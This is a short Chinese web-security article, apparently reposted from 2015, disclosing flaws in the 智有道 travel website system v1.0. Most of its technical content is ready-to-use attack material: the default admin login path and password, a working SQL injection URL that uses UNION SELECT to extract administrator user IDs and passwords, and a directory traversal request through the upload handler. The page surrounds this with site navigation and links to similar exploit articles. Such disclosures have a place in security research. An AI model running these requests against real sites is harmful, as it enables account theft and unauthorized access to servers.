智有道专业旅游系统v1.0 注入及列目录漏洞(分析-自学php网

智有道专业旅游系统v1.0 注入及列目录漏洞(分析

来源：自学PHP网时间：2015-04-17 14:46 作者：阅读:次

[导读] 智有道专业旅游网站系统是智有道团队专业开发，针对目前的旅游平台进行强大的功能开发！后台管理默认后台路径：/admin/login.asp默认管理员：user:admin默认密码：psw:123456下载地址:htt...

“智有道”专业旅游网站系统是智有道团队专业开发，针对目前的旅游平台进行强大的功能开发！
后台管理
默认后台路径：/admin/login.asp
默认管理员：user:admin
默认密码：psw:123456
下载地址:http://www.2cto.com/ym/201107/28476.html
Demo Url:http://www.2cto.com /
SQL EXP Tset:

http://www.2cto.com /info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin

遍历目录：

/admin/do/admin_uploadfile.asp?id=1&dir=../..

http://www.2cto.com /%61%64%6D%69%6E%2F%64%6F%2F%70%69%63%2F%32%30%31%31%38%31%30%33%37%35%37%32%39%31%2E%73%77%66

作者：Mr.DzY，由情整理编辑

科讯kesion 6.x - 7.06 继续利用 - 网站安全 - 自学

验证码识别与自动灌水 - 网站安全 - 自学php

子栏目

智有道专业旅游系统v1.0 注入及列目录漏洞(分析

最新评论

添加评论

更多文章推荐

添加评论